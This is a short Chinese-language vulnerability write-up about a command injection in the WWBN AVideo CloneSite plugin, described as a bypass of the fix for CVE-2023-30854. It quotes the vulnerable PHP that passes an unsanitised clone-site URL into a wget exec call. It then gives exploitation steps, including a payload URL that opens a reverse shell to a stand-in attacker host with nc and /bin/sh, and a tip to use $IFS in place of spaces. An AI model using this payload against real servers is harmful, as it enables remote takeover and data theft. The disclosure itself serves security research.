plugin/CloneSite/cloneClient.json.php 中存在一个命令注入漏洞，如果你启用了 CloneSite 插件，则该漏洞可实现远程代码执行。这是对 CVE-2023-30854 修复的绕过，该 CVE 影响 WWBN Avideo 至 12.3 版本。
/plugin/CloneSite/cloneClient.json.php
$json->sqlFile = escapeshellarg(preg_replace('/[^a-z0-9_.-]/i', '', $json->sqlFile));
$json->videoFiles = escapeshellarg(preg_replace('/[^a-z0-9_.-]/i', '', $json->videoFiles));
$json->photoFiles = escapeshellarg(preg_replace('/[^a-z0-9_.-]/i', '', $json->photoFiles));
// get dump file
$cmd = "wget -O {$clonesDir}{$json->sqlFile} {$objClone->cloneSiteURL}videos/cache/clones/{$json->sqlFile}";
$log->add("Clone (2 of {$totalSteps}): Geting MySQL Dump file");
exec($cmd . " 2>&1", $output, $return_val);
$objClone->cloneSiteURL 未被正确过滤。

在命令行中运行
$ python3 avidexploit.py &
$ ngrok tcp 8080 # optional if not running in VPS
http://2.tcp.ngrok.io:14599/;nc$IFS'ATTACKER.COM'$IFS'5555'$IFS-e$IFS/bin/sh;#
请注意，为了让漏洞利用生效，不要使用空格。在向你的 RCE 添加参数时，请用 $IFS 代替空格。
